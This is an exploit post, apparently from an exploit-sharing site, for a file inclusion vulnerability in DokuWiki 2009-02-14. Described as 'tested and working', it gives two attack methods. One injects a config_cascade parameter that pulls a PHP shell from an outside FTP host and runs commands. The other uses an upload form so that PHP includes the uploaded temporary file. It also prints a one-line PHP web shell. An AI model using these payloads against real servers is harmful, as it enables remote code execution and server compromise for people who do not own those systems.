Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit

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Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
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Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working


[quote]
It's not a RFI couse use of file_exists function.
[/quote]

How wrong brother!

trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)

http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:[email protected]/folder/sh.php&cmd=ls%20-la>out.txt

trick 2:
needs register_globals = on
file_uploads = On (default)

include a temporary file passed by the $_FILES[] array:

<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>

where your shell is like:
<?php passthru($_GET[cmd]); die();?>

because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !



#  0day.today [2018-01-05]  #